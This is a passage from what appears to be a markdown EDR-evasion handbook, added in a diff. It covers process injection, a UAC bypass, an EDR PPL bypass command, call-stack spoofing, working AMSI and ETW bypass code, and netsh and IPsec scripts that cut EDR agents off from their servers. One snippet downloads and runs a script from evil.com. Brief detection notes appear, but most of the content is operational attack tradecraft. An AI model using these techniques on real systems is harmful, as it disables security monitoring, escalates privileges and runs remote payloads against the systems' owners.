+ - Shellcode runs in a browser-like process context, where behaviors like Read-Write-Execute (RWX) memory regions (due to JIT compilers) are common and may appear less suspicious to EDRs.
596
+ - **Exploit Development & Operationalization Challenges**:
597
+ - **V8 Version Targeting**: Electron's V8 often lags behind Chrome's and includes backported security patches. Vulnerabilities must be chosen that were patched _after_ the target application's Electron version was frozen. Electron's cherry-picked patches should be reviewed.
598
+ - **Debugging**: Building the specific V8 version (e.g., using `d8` debug shell with `--allow-natives-syntax` for `%DebugPrint()`) is crucial for understanding memory layouts and adapting exploits.
599
+ - **Offset Inconsistencies**: Hardcoded offsets in public exploits (often Linux-based) need adjustment for the target V8 version and OS (Windows). Function pointer offsets for overwriting can even vary between Windows versions.
600
+ - _Solution for offset variation_: Launch the exploit multiple times in child processes, each trying a different potential offset. The parent process monitors for success (e.g., mutex creation by payload).
601
+ - **Sandbox Escape**: Public V8 exploits might use sandbox escape techniques already patched (cherry-picked) in the target Electron V8 version, requiring new or modified escapes.
602
+ - **JIT Compiler Interference (e.g., V8 TurboFan)**:
603
+ - Optimizations can consolidate repeated instruction sequences (e.g., multiple floating-point values), affecting shellcode smuggling. Workarounds include compact shellcode or varying instruction positions.
604
+ - Copying large shellcode payloads can be problematic. Workaround: multiple smaller copy loops or using a stager payload that fetches the main payload.
605
+ - **Payload Obfuscation**: Obfuscate the JavaScript exploit (e.g., in `main.js`) to hinder analysis. Re-obfuscating per deployment can help avoid signature-based detection.
606
+ - **Defense & Future Considerations**:
607
+ - Electron's experimental integrity fuse feature, if enabled by developers, can verify the integrity of application files (including `main.js`) at runtime, potentially thwarting this technique by exiting if tampering is detected.
608
+ - Older application versions without this fuse remain vulnerable.
609
+
610
+ ### Process Manipulation
611
+
612
+ #### Early Cascade Injection
613
+
614
+ - Novel process injection technique targeting user-mode process creation
615
+ - Combines elements of Early Bird APC with EDR-Preloading
616
+ - Avoids queuing cross-process APCs while maintaining minimal remote process interaction
617
+ - Works by:
618
+ - Targeting processes during the transition from kernel-mode to user-mode (`LdrInitializeThunk`)
619
+ - Leveraging callback pointers (like `g_pfnSE_DllLoaded`) during Windows process creation
620
+ - Executing malicious code before EDR detection measures can initialize
621
+ - Advantages:
622
+ - Operates before EDRs can initialize their hooks and detection measures
623
+ - Particularly effective against EDRs that hook `NtContinue` or use delayed initialization
624
+ - Avoids ETW telemetry that traditional injection techniques trigger
625
+ - Minimal remote process interaction reduces detection footprint
626
+ - More stealthy than traditional techniques like DLL hijacking or direct syscalls
627
+ - Key insight: EDRs typically load their detection measures after the `LdrInitializeThunk` function executes, providing a window of opportunity for code execution before security measures initialize
628
+ - watch for early `NtCreateThreadEx` inside `LdrInitializeThunk`
629
+
630
+ #### Early Startup Bypass
631
+
632
+ **Concept**: Execute malware before the EDR's user-mode component fully initializes, creating a window of opportunity for undetected execution.
633
+
634
+ **Implementation**:
635
+
636
+ - Target the gap between kernel driver loading and user-mode agent initialization
637
+ - Execute payload during system startup before EDR hooks are established
638
+ - Leverage services that start before EDR components
639
+
640
+ **Research Findings (Cortex XDR)**:
641
+
642
+ - Successfully executed Mimikatz with `lsadump::sam` without detection during early startup
643
+ - EDR kernel drivers may be loaded but user-mode hooks not yet established
644
+ - Timing window varies depending on system performance and EDR implementation
645
+
646
+ **Detection Evasion**:
647
+
648
+ - Creates process activity before EDR monitoring is fully operational
649
+ - Avoids user-mode hooks that haven't been established yet
650
+ - Kernel-level monitoring may still detect activity depending on driver initialization order
651
+
652
+ **Limitations**:
653
+
654
+ - Requires precise timing and understanding of EDR startup sequence
655
+ - May not work against EDRs with early kernel-level monitoring
656
+ - Window of opportunity may be brief on fast systems
657
+
658
+ #### Waiting Thread Hijacking (WTH)
659
+
660
+ - A stealthier version of classic Thread Execution Hijacking
661
+ - Intercepts the flow of a waiting thread and misuses it for executing malicious code
662
+ - Avoids suspicious APIs like `SuspendThread`/`ResumeThread` and `SetThreadContext` that trigger most alerts
663
+ - Required handle access:
664
+ - For target process: `PROCESS_VM_OPERATION`, `PROCESS_VM_READ`, `PROCESS_VM_WRITE`
665
+ - For target thread: `THREAD_GET_CONTEXT`
666
+ - Uses less monitored APIs:
667
+ - `NtQuerySystemInformation` (with `SystemProcessInformation`)
668
+ - `GetThreadContext`
669
+ - `ReadProcessMemory`
670
+ - `VirtualAllocEx`
671
+ - `WriteProcessMemory`
672
+ - `VirtualProtectEx`
673
+ - Implementation can be further obfuscated by splitting steps across multiple functions to evade behavioral signatures
674
+ - Primarily bypasses EDRs that focus on detecting specific API calls rather than behavioral patterns
675
+ - Effective against EDRs that are restrictive about remote execution methods but more lenient with allocations and writes
676
+ - Suitable for hiding the point at which implanted code was executed
677
+
678
+ #### PPID Spoofing
679
+
680
+ - Creates process with fake parent process ID
681
+ - Hides true process creation chain
682
+ - Makes process tree analysis misleading
683
+
684
+ #### Process Hiding
685
+
686
+ A technique to hide processes from EDR monitoring by manipulating the Interrupt Request Level (IRQL):
687
+
688
+ - Raise the IRQL of current CPU core
689
+ - Create and queue Deferred Procedure Calls (DPCs) to raise the IRQL of other cores
690
+ - Perform sensitive task (for example, hiding process)
691
+ - Signal DPCs in other cores to stop spinning and exit
692
+ - Lower IRQL of current core back to original
693
+
694
+ ```c
695
+ irql = RaiseIRQL();
696
+ dpcPtr = AcquireLock();
697
+ do_stuff();
698
+ ReleaseLock(dpcPtr);
699
+ LowerIRQL(irql);
700
+ ```
701
+
702
+ This approach temporarily prevents EDR from monitoring the process during the critical operations by operating at an elevated privilege level.
703
+
704
+ > [!NOTE]
705
+ > HVCI-enabled 23H2 kernels may crash when raising IRQL this way. Safer alternative: kernel-driver patching of `PsLookupProcessByProcessId`.
706
+
707
+ #### UAC Bypass via Intel ShaderCache Directory
708
+
709
+ - Concept: Exploits weak permissions (`Authenticated Users: Full Control`) on the `Intel\ShaderCache` directory (`%LOCALAPPDATA%\LocalLow\Intel\ShaderCache`) combined with the behavior of auto-elevated processes (like `taskmgr.exe`) writing to this location.
710
+ - Mechanism:
711
+ 1. Clear Directory: Requires aggressively terminating processes holding handles (`explorer.exe`, `sihost.exe`, etc.) and deleting files within the `ShaderCache` directory. Permissions might need adjustment (`icacls`) to allow deletion. Launching `taskmgr.exe` briefly (with a timeout) helps identify recently written filenames and can trigger writes needed for the exploit.
712
+ 2. Junction Creation: Create a directory junction from `ShaderCache` to `\??\GLOBALROOT\RPC CONTROL`.
713
+ 3. Symbolic Link: Determine a recently used filename within `ShaderCache` (before clearing). Create an object directory symbolic link (`CreateDosDevice`) from `Global\GLOBALROOT\RPC CONTROL\<recent_filename>` to a target DLL path (e.g., `\??\C:\Windows\System32\oci.dll`).
714
+ 4. Trigger Write: Launch an auto-elevated process (e.g., `taskmgr.exe`) that writes to `ShaderCache`. The write operation follows the junction and then the symbolic link, resulting in the creation of a (dummy) target file (e.g., `oci.dll`) in a privileged location (`System32`).
715
+ 5. Overwrite & Execute: Overwrite the created dummy file with the actual malicious DLL. Launch a process (like `comexp.msc`) that attempts to load the target DLL, thereby executing the malicious code with elevated privileges.
716
+ - EDR Relevance:
717
+ - Bypasses User Account Control (UAC), a primary defense layer.
718
+ - Relies on manipulating file system objects (junctions, symlinks) and process interactions that EDRs monitor.
719
+ - Involves potentially noisy actions like mass process termination and permission changes.
720
+ - The final payload execution often relies on DLL hijacking techniques.
721
+
722
+ > [!TIP]
723
+ > Symlink/junction UAC races are build‑dependent and brittle. Validate on the specific target build; many have partial or complete mitigations.
724
+
725
+ #### PPL (Protected Process Light) Bypass
726
+
727
+ **Concept**: Bypass Protected Process Light security by creating alternative service configurations that avoid PPL protections.
728
+
729
+ **Palo Alto Cortex XDR PPL Bypass Technique**:
730
+
731
+ ```powershell
732
+ # Create alternative service that launches cyserver.exe without PPL protection
733
+ sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto
734
+ ```
735
+
736
+ **How it works**:
737
+
738
+ - Creates a second service that launches the EDR's main process (cyserver.exe)
739
+ - Original PPL-protected service fails to start due to startup dependencies
740
+ - New service configuration is not protected by EDR drivers
741
+ - EDR process runs without PPL protection, expanding attack surface
742
+
743
+ **Limitations**:
744
+
745
+ - Service names beginning with "cyserver\*" are blocked by some EDR implementations
746
+ - EDR functionality may remain intact despite PPL bypass
747
+ - Self-protection mechanisms may still be active at process level
748
+ - Vendor response varies - may not be considered a security vulnerability
749
+
750
+ **Detection & Response**:
751
+
752
+ - EDR thinks original service is stopped but agent continues running
753
+ - Attack surface increases as process no longer has PPL protections
754
+ - Reported to Palo Alto on 12.09.2023 with limited vendor response
755
+
756
+ **Broader Implications**:
757
+
758
+ - Demonstrates service configuration vulnerabilities in EDR implementations
759
+ - Shows potential for bypassing Windows security features through alternative execution paths
760
+ - Relevant for other EDRs that rely on PPL for self-protection
761
+
762
+ #### Using `NtCreateUserProcess` for Stealthy Process Creation
763
+
764
+ The native API `NtCreateUserProcess()`, located in `ntdll.dll`, is the lowest-level user-mode function for creating processes. Calling it directly can bypass EDR hooks placed on higher-level functions like `CreateProcessW` in `kernel32.dll`. This makes it a valuable technique for stealthier process creation.
765
+
766
+ **Key Concepts:**
767
+
768
+ - **Bypass Mechanism**: Avoids user-land hooks on more commonly monitored APIs like `CreateProcessW`.
769
+ - **Process Parameters**: Requires careful setup of structures like `RTL_USER_PROCESS_PARAMETERS` (often via `RtlCreateProcessParametersEx`), `PS_CREATE_INFO`, and `PS_ATTRIBUTE_LIST`.
770
+ - `RTL_USER_PROCESS_PARAMETERS`: Defines process startup information, including image path, command line, environment variables, etc. The `ImagePathName` must be in NT path format (e.g., `\??\C:\Windows\System32\executable.exe`).
771
+ - `PS_ATTRIBUTE_LIST`: Can specify attributes like the image name.
772
+ - **Flags**: `ProcessFlags` and `ThreadFlags` allow fine-grained control over process and thread creation (e.g., creating suspended). Sources like Process Hacker's headers (`ntpsapi.h`) can provide valid flag definitions. For minimal use, these can sometimes be `NULL`.
773
+ - **Implementation Details**: Involves initializing several structures and using functions from `ntdll.dll` such as `RtlInitUnicodeString`, `RtlCreateProcessParametersEx`, and `RtlAllocateHeap`. The article also mentions that the `ProcessParameters` argument for `NtCreateUserProcess` was found to be mandatory, and `RtlCreateProcessParametersEx` is used with the `RTL_USER_PROCESS_PARAMETERS_NORMALIZED` flag. The `PS_CREATE_INFO` structure needs its `Size` and `State` (e.g., `PsCreateInitialState`) members initialized. The `PS_ATTRIBUTE_LIST` is populated to include the image name.
774
+
775
+ **Example High-Level Steps:**
776
+
777
+ 1. Define the path to the executable using `UNICODE_STRING` and initialize it with `RtlInitUnicodeString` (e.g., `L"\??\C:\Windows\System32\calc.exe"`).
778
+ 2. Create and populate `RTL_USER_PROCESS_PARAMETERS` using `RtlCreateProcessParametersEx`, providing the image path and normalizing parameters.
779
+ 3. Initialize a `PS_CREATE_INFO` structure.
780
+ 4. Allocate and initialize a `PS_ATTRIBUTE_LIST`, setting the `PS_ATTRIBUTE_IMAGE_NAME` attribute with the image path.
781
+ 5. Call `NtCreateUserProcess` with the prepared handles, access masks, and structures.
782
+ 6. Perform cleanup, for instance, by calling `RtlFreeHeap` and `RtlDestroyProcessParameters`.
783
+
784
+ This technique allows for creating a new process with more direct control, potentially evading EDRs that primarily hook `kernel32.dll` API calls. However, EDRs with kernel telemetry or hooks deeper within `ntdll.dll` (or monitoring syscalls directly) might still detect the `NtCreateUserProcess` call or the subsequent behavior of the spawned process.
785
+
786
+ #### Advanced Process Execution Alternatives
787
+
788
+ - [TangledWinExec](https://github.com/daem0nc0re/TangledWinExec) - alternative process execution techniques
789
+ - [rad9800](https://github.com/rad9800/misc/blob/main/bypasses/WorkItemLoadLibrary.c) - indirectly loading DLL through a work item
790
+
791
+ #### Acquiring Process Handles
792
+
793
+ - Without using suspicious `OpenProcess`:
794
+ - Find `explorer.exe` window handle using `EnumWindows`
795
+ - Convert to process handle with `GetProcessHandleFromHwnd`
796
+ - Leverage `PROCESS_DUP_HANDLE` to duplicate into a pseudo handle for [Full Access](https://jsecurity101.medium.com/bypassing-access-mask-auditing-strategies-480fb641c158)
797
+
798
+ ### Callstack Manipulation
799
+
800
+ #### Return Address Overwrite
801
+
802
+ - overwrite function's return address with 0
803
+ - that terminates call stack's unwinding algorithm
804
+ - examination based on `DbgHelp!StackWalk64` fails
805
+ - implement custom API resolver similar to `GetProcAddress`
806
+ - before calling out to suspicious functions, overwrite `RetAddr :=0`
807
+ - when system API returns, restore own `RetAddr`
808
+
809
+ #### Callstack Spoofing
810
+
811
+ - Manipulates the call stack to appear legitimate
812
+ - Makes it harder to detect malicious code execution
813
+ - Tools and techniques:
814
+ - ThreadStackSpoofer
815
+ - CallStackSpoofer
816
+ - AceLdr
817
+ - CallStackMasker
818
+ - Unwinder
819
+ - TitanLdr
820
+ - [uwd](https://github.com/joaoviictorti/uwd) - Rust library for call stack spoofing with `#[no_std]` support
821
+ - Offers both `Synthetic` (thread-like stack emulation) and `Desync` (JOP gadget-based stack misalignment) methods
822
+ - Provides inline macros for spoofing functions and syscalls
823
+ - Compatible with both MSVC and GNU toolchains on x86_64
824
+
825
+ ### Control Flow Manipulation
826
+
827
+ #### Control Flow Hijacking via Data Pointers
828
+
829
+ - Concept: Overwrite function pointers located in readable/writable memory sections (e.g., `.data`) to hijack control flow when that pointer is called. A key benefit is potentially avoiding noisy API calls like `VirtualProtectEx` if the target pointer already resides in a writable section.
830
+ - Target: Often targets pointers within `KnownDlls` (e.g., `ntdll.dll`, `combase.dll`) as they load at predictable base addresses across processes, simplifying remote process injection and pointer discovery.
831
+ - Mechanism:
832
+ 1. Identify a function pointer stored in a writable section (`.data`). This can be done manually via disassembly or automatically by scripting searches for code patterns (e.g., finding `tailcall(rax)` instructions where `rax` is loaded from `.data`).
833
+ 2. In a target process, allocate memory for shellcode (or a stub).
834
+ 3. Write the shellcode/stub to the allocated memory.
835
+ 4. Overwrite the original function pointer in the writable section to point to the shellcode/stub. This typically requires `PROCESS_VM_WRITE` permissions.
836
+ 5. Execution is diverted when the legitimate code path calls the hijacked function pointer.
837
+ - Example: The blog post details hijacking `combase.dll!__guard_check_icall_fptr`.
838
+ - Advantages:
839
+ - Can avoid direct calls to commonly monitored APIs used in other injection techniques (like `CreateRemoteThread`, `QueueUserAPC`).
840
+ - If the target pointer resides in memory that is already writable, it may avoid the need for `VirtualProtectEx`, reducing noise.
841
+ - Detection/Context: While this bypasses direct hooks on APIs like `VirtualProtect` or `CreateRemoteThread`, EDRs may still detect the initial `WriteProcessMemory` to the `.data` section or correlate the unusual execution flow originating from a data segment via kernel callbacks or ETW.
842
+
843
+ #### Hookchain
844
+
845
+ - Resolve System Service Number
846
+ - Map critical functions
847
+ - `NtAllocateReserveObject`
848
+ - `NtAllocateVirtualMemory`
849
+ - `NtQueryInformationProcess`
850
+ - `NtProtectVirtualMemory`
851
+ - `NtReadVritualMemory`
852
+ - `NtWriteVirtualMemory`
853
+ - Create a relationship table with SSN + Custom stub function of critical `ntdll.dll` and hooked functions
854
+ - Implant IAT hook at all DLL subsystems that points to `ntdll.dll` critical and hooked functions(DLL pre-loading)
855
+ - Use Indirect system call + mapped critical functions and modification of IAT of key DLL functions before call to `ntdll.dll` to bypass EDR
856
+
857
+ ### ETW and AMSI Evasion
858
+
859
+ #### ETW Patching
860
+
861
+ - Patch Event Tracing for Windows functionality
862
+ - Prevents telemetry from being sent to the EDR
863
+ - Targets ETW provider registration or logging mechanisms
864
+
865
+ > [!CAUTION]
866
+ > Defender engine 1.417  re‑hooks common byte patches within ~50 ms. Prefer **callback filtering** (e.g., wrapping `EtwEventWriteFull`) or the patch‑less SharpBlock fork.
867
+
868
+ #### ETW Evasion Techniques
869
+
870
+ - Significant delays among risky events: `alloc`, `write`, `exec` - "Driploader" style
871
+ - `ntdll!EtwEventWrite` patching
872
+ - Disabling tracing via `ntdll!EtwEventUnregister`
873
+
874
+ #### AMSI Bypass/Patching
875
+
876
+ - Bypasses Anti-Malware Scan Interface
877
+ - Patches AMSI functionality in memory
878
+ - Prevents script scanning before execution
879
+ - Defender now ships dynamic signature **VirTool:Win64/HBPAmsibyp.A** that fires on known NOP‑sled prologues. A stealthier option is to swap to a COM‑visible PowerShell runspace instead of patching `AmsiScanBuffer`.
880
+
881
+ #### AMSI and ETW Evasion Implementation
882
+
883
+ - AMSI (`amsi.dll!AmsiScanBuffer`):
884
+ - Patch the function prologue
885
+ - Alternatively, increment AMSI magic value deeper in code
886
+ - ETW (`ntdll.dll!NtTraceEvent` and `ntdll.NtTraceControl`):
887
+ - Use patchless strategy for evasion
888
+ - Consider tools like [SharpBlock](https://github.com/CCob/SharpBlock)
889
+
890
+ #### Modern AMSI Bypass Techniques
891
+
892
+ Classic `AmsiScanBuffer` patching (e.g., overwriting with `ret` or NOP sled) is now detected by Defender's **VirTool:Win64/HBPAmsibyp.A** signature and engine 1.425.x uses CFG/XFG checks to validate function integrity.
893
+
894
+ **Patchless AMSI bypass (VEH / vtable)**
895
+
896
+ - VEH-based bypass: Register vectored exception handlers to set hardware breakpoints on `amsi.dll!AmsiScanBuffer` and re-route execution to a benign stub without byte-patching (a.k.a. VEH²). This avoids obvious prologue modifications.
897
+ - COM/vtable approach: Overwrite IAmsiStream vtable entries or CLSID pointers used during `AmsiInitialize` so the provider cannot be created and AMSI calls short-circuit — again without altering `AmsiScanBuffer` bytes.
898
+ - Defender considerations: 2024–2025 engines re-hook common byte patches rapidly; patchless flows reduce simple signature hits but still leave behavioral traces.
899
+ - Blue detections:
900
+ - Monitor `AddVectoredExceptionHandler` usage paired with debug register changes (`CONTEXT.Dr0–Dr7`) shortly before AMSI invocations.
901
+ - Hunt for unusual call stacks entering `AmsiScanBuffer` that immediately return, and COM activation failures around AMSI provider creation.
902
+ - ETW/PowerShell: alert on script engines loading `amsi.dll` followed by VEH registration and memory permission flips.
903
+
904
+ **1. COM VTable Hooking Method**
905
+
906
+ Instead of patching `AmsiScanBuffer`, hook the IAmsiStream COM interface:
907
+
908
+ ```cpp
909
+ // Locate IAmsiStream COM object in amsi.dll
910
+ typedef interface IAmsiStream IAmsiStream;
911
+
912
+ HRESULT HookAmsiStream() {
913
+ // Get amsi.dll base
914
+ HMODULE hAmsi = GetModuleHandleA("amsi.dll");
915
+ if (!hAmsi) return E_FAIL;
916
+
917
+ // Locate IAmsiStream vtable (varies by Windows version)
918
+ // Example: scan for known vtable patterns
919
+ LPVOID** ppVTable = /* find IAmsiStream instance */;
920
+
921
+ // Hook QueryInterface or GetAttribute methods
922
+ DWORD oldProtect;
923
+ VirtualProtect(ppVTable, sizeof(LPVOID) * 10, PAGE_READWRITE, &oldProtect);
924
+
925
+ // Replace function pointer with benign stub
926
+ ppVTable[0] = (LPVOID*)MyQueryInterface; // Return E_NOTIMPL
927
+
928
+ VirtualProtect(ppVTable, sizeof(LPVOID) * 10, oldProtect, &oldProtect);
929
+ return S_OK;
930
+ }
931
+
932
+ HRESULT STDMETHODCALLTYPE MyQueryInterface(IUnknown* This, REFIID riid, void** ppv) {
933
+ // Return E_NOTIMPL to skip scanning
934
+ return E_NOTIMPL;
935
+ }
936
+ ```
937
+
938
+ **2. ETW Provider Registration Manipulation**
939
+
940
+ Modify ETW provider registration to disable telemetry without patching:
941
+
942
+ ```cpp
943
+ // Manipulate ETW provider via TI (Threat Intelligence) session
944
+ #include <evntrace.h>
945
+
946
+ BOOL DisableETWProvider(LPCGUID ProviderGuid) {
947
+ EVENT_TRACE_PROPERTIES props = {0};
948
+ props.Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES);
949
+ props.Wnode.Guid = *ProviderGuid;
950
+ props.Wnode.ClientContext = 1;
951
+ props.Wnode.Flags = WNODE_FLAG_TRACED_GUID;
952
+ props.LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
953
+
954
+ // Disable the provider
955
+ return ControlTraceA(0, "EventLog-Application", &props, EVENT_TRACE_CONTROL_STOP) == ERROR_SUCCESS;
956
+ }
957
+
958
+ // Target Microsoft-Windows-PowerShell provider
959
+ GUID PowerShellProvider = { 0xA0C1853B, 0x5C40, 0x4B15,
960
+ { 0x8B, 0x66, 0xD7, 0x4F, 0x9C, 0x91, 0xCC, 0x4C } };
961
+ DisableETWProvider(&PowerShellProvider);
962
+ ```
963
+
964
+ **3. AMSI Context Manipulation**
965
+
966
+ Forge the AMSI context session to bypass scanning:
967
+
968
+ ```cpp
969
+ // Structure definitions (reverse-engineered)
970
+ typedef struct _AMSI_CONTEXT {
971
+ DWORD Signature; // 'AMSI' (0x49534D41)
972
+ PVOID Session;
973
+ // ... other fields
974
+ } AMSI_CONTEXT, *PAMSI_CONTEXT;
975
+
976
+ BOOL BypassAmsiContext(PAMSI_CONTEXT pContext) {
977
+ if (pContext->Signature != 0x49534D41) return FALSE;
978
+
979
+ // Corrupt the signature to invalidate context
980
+ DWORD oldProtect;
981
+ VirtualProtect(pContext, sizeof(DWORD), PAGE_READWRITE, &oldProtect);
982
+ pContext->Signature = 0; // Invalidate
983
+ VirtualProtect(pContext, sizeof(DWORD), oldProtect, &oldProtect);
984
+
985
+ return TRUE;
986
+ }
987
+ ```
988
+
989
+ **4. PowerShell Runspace Alternative (Patchless)**
990
+
991
+ Use a COM-visible PowerShell runspace that bypasses AMSI entirely:
992
+
993
+ ```csharp
994
+ using System.Management.Automation;
995
+ using System.Management.Automation.Runspaces;
996
+
997
+ // Create runspace without AMSI
998
+ var initialSessionState = InitialSessionState.CreateDefault();
999
+ initialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
1000
+
1001
+ // This runspace has no AMSI hooks
1002
+ var runspace = RunspaceFactory.CreateRunspace(initialSessionState);
1003
+ runspace.Open();
1004
+
1005
+ var pipeline = runspace.CreatePipeline();
1006
+ pipeline.Commands.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
1007
+ pipeline.Invoke();
1008
+ ```
1009
+
1010
+ **5. Memory-Only AMSI Bypass (No Disk)**
1011
+
1012
+ Load a minimal AMSI bypass directly in memory without patching:
1013
+
1014
+ ```powershell
1015
+ # Reflection-based bypass (2025 variant)
1016
+ $a = [Ref].Assembly.GetTypes()
1017
+ ForEach($b in $a) {
1018
+ if ($b.Name -like "*iUtils") {
1019
+ $c = $b.GetFields('NonPublic,Static')
1020
+ ForEach($d in $c) {
1021
+ if ($d.Name -like "*Context") {
1022
+ $d.SetValue($null, 0)
1023
+ }
1024
+ }
1025
+ }
1026
+ }
1027
+ ```
1028
+
1029
+ **Detection Evasion Notes:**
1030
+
1031
+ - **COM VTable Method:** Bypasses signature-based detection; harder to detect than direct patching
1032
+ - **ETW Provider Manipulation:** Requires admin privileges but cleaner than hooking
1033
+ - **Context Corruption:** Minimal memory writes; low detection surface
1034
+ - **Runspace Method:** No patching required; entirely legitimate PowerShell usage
1035
+ - **Reflection Method:** PowerShell-only; works in constrained language mode bypass scenarios
1036
+
1037
+ **Blue Team Detection:**
1038
+
1039
+ Monitor for:
1040
+
1041
+ - Unusual COM interface access patterns to `amsi.dll`
1042
+ - ETW provider manipulation via `ControlTrace` API
1043
+ - PowerShell runspace creation with `FullLanguage` mode in restricted environments
1044
+ - Reflection access to `System.Management.Automation` internal structures
1045
+
1046
+ ### Platform Realities & Defender Hunts
1047
+
1048
+ #### Windows 11
1049
+
1050
+ - 24H2+ Security Baseline
1051
+ - Hardware‑Enforced Stack Protection (CET/Shadow Stack) breaks naïve call‑stack spoofing; evasions must maintain valid shadow stacks.
1052
+ - LSASS protection (RunAsPPL) is on by default on recent fresh installs; expect minidump blockers. Favor live‑off‑land telemetry for detection/response.
1053
+ - HVCI/KDP/Secure Launch raise the bar on BYOVD and protected pages. Hunt for policy flips and failed driver loads.
1054
+ - Quarterly Vulnerable Driver Blocklist
1055
+ - `DriverSiPolicy.p7b` enabled by default on Windows 11 22H2+
1056
+ - Automatic updates every Patch Tuesday via Windows Update
1057
+ - Blocks known vulnerable drivers before they can load
1058
+ - BYOVD attacks now often require two-stage driver chains
1059
+ - Monitor for policy tampering: `HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy`
1060
+ - Kernel Data Protection (KDP)
1061
+ - Protects critical kernel structures and EDR code pages
1062
+ - Makes them read-only even to kernel-mode drivers
1063
+ - Requires HVCI to be enabled
1064
+ - Significantly raises bar for kernel-mode EDR killers
1065
+ - Verify status: `Get-ComputerInfo | Select CsDeviceGuardSecurityServicesRunning`
1066
+ - Confidential Computing Support
1067
+ - Intel TDX (Trust Domain Extensions) for VM-level isolation
1068
+ - AMD SEV-SNP (Secure Encrypted Virtualization) support
1069
+ - Protects guest VMs from hypervisor inspection
1070
+ - EDR visibility limited in confidential VMs
1071
+ - Requires specialized attestation and monitoring approaches
1072
+
1073
+ #### macOS
1074
+
1075
+ - Use EndpointSecurity (ES) events with unified logs; monitor `syspolicyd` Gatekeeper verdicts and TCC changes.
1076
+ - macOS Sequoia (15) enhances XProtect and Background Task Management
1077
+ - Notarization requirements increasingly strict for all distributed software
1078
+
1079
+ #### Linux/Kubernetes
1080
+
1081
+ - Hunt eBPF program/map churn and sensor detaches; sidecars outside node‑agent PID filters; attempts to access runtime sockets.
1082
+ - eBPF-based EDR becoming standard (Falco, Tetragon, Cilium)
1083
+ - Container runtime security monitoring essential
1084
+ - Service mesh observability integration (Istio, Linkerd)
1085
+
1086
+ ### Network-Based EDR Silencing
1087
+
1088
+ These techniques focus on disrupting the EDR agent's communication with its management servers, effectively blinding it without directly tampering with the agent process itself.
1089
+
1090
+ #### Sinkholing by Secondary IP Addresses
1091
+
1092
+ - Concept: Assign secondary IP addresses to local network interfaces that match the IP addresses of the EDR's communication endpoints (C2 servers, telemetry collectors).
1093
+ - Mechanism: When the EDR agent attempts to connect to its server IP, the network stack routes the traffic to the local interface instead, effectively dropping the connection.
1094
+ - Implementation:
1095
+ - Identify EDR communication IPs (e.g., using network monitoring).
1096
+ - Manually assign IPs via Network Adapter Properties > IPv4 > Advanced > IP Settings (requires static IP configuration, not DHCP).
1097
+ - Use PowerShell: `New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress <EDR_IP> -PrefixLength 32`
1098
+ - Use `netsh`: `netsh interface ipv4 add address "Ethernet" <EDR_IP> 255.255.255.255`
1099
+ - Scripting: Tools like `IPMute` can monitor process network connections and dynamically add remote IPs as secondary local IPs.
1100
+ - Persistence/Detection:
1101
+ - Static IP settings are stored in `HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\IPAddress`.
1102
+ - Changes made via PowerShell/GUI/netsh modify the registry via `wmiprvse.exe`/`DllHost.exe`/`netsh.exe` respectively.
1103
+ - A device configuration profile that sets `VpnTrafficFilterList` will **override** any locally created IPsec rules.
1104
+ - Direct registry edits require an interface disable/enable cycle to take effect.
1105
+
1106
+ > [!CAUTION]
1107
+ > Some EDR/XDR products flag sudden `/32` self‑IP assignments (host routes) created with `New‑NetIPAddress` as potential IP spoofing. Expect alerts on repeated adds/removes or tight timing around agent network failures. Prefer `/31` pairs or upstream firewall/DNAT approaches where possible.
1108
+
1109
+ #### IPSec Filter Rules
1110
+
1111
+ - Concept: Leverage Windows IPsec policies to create rules that block traffic to specific EDR IPs, IP ranges, or even domains, even without a full IPsec deployment.
1112
+ - Mechanism: IPsec rules operate at a low level and can filter traffic based on source/destination addresses and protocols. Rules can block specific connections required by the EDR.
1113
+ - Implementation (using `netsh`):
1114
+
1115
+ ```powershell
1116
+ # Create a blocking policy
1117
+ netsh ipsec static add policy name=BlockPolicy description="Block EDR Comms"
1118
+ netsh ipsec static set policy name=BlockPolicy assign=y
1119
+
1120
+ # Create a filter list
1121
+ netsh ipsec static add filterlist name=BlockFilterList
1122
+
1123
+ # Add filters (examples)
1124
+ # Block specific IP
1125
+ netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_IP> protocol=any description="Block EDR IP"
1126
+ # Block subnet
1127
+ # netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Subnet> dstmask=<Subnet_Mask> protocol=any description="Block EDR Subnet"
1128
+ # Block domain (resolves IPs at rule creation time)
1129
+ # netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Domain.com> protocol=any description="Block EDR Domain"
1130
+
1131
+ # Create a blocking action
1132
+ netsh ipsec static add filteraction name=BlockFilterAction action=block
1133
+
1134
+ # Create the rule linking the filter list and action to the policy
1135
+ netsh ipsec static add rule name=BlockRule policy=BlockPolicy filterlist=BlockFilterList filteraction=BlockFilterAction description="IPSec Block Rule for EDR"
1136
+ ```
1137
+
1138
+ - Persistence/Detection:
1139
+ - IPsec policy configuration is stored in the registry under `HKLM\Software\Policies\Microsoft\Windows\IPSec\Policy\Local\`.
1140
+ - Rule creation via `netsh` writes registry values via `netsh.exe`. GUI edits use `mmc.exe`.
1141
+ - These registry keys can be monitored or potentially protected.
1142
+ - Cleanup:
1143
+ ```powershell
1144
+ netsh ipsec static delete policy name=BlockPolicy
1145
+ ```
1146
+
1147
+ #### DNS Sinkholing
1148
+
1149
+ ##### Hosts File Modification
1150
+
1151
+ - Concept: Add entries to the system's `hosts` file (`C:\Windows\System32\drivers\etc\hosts`) mapping EDR domain names to `127.0.0.1` or `0.0.0.0`.
1152
+ - Mechanism: When the EDR agent performs a DNS lookup for its server, the `hosts` file takes precedence, resolving the domain to localhost and preventing the actual connection.
1153
+ - Limitations:
1154
+ - Does not affect existing established connections.
1155
+ - DNS resolutions might be cached within the EDR process itself.
1156
+ - Requires clearing DNS cache (`ipconfig /flushdns`) and potentially waiting or restarting the EDR process/system.
1157
+ - Ineffective if the EDR uses hardcoded IP addresses.
1158
+
1159
+ ##### Changing DNS Servers
1160
+
1161
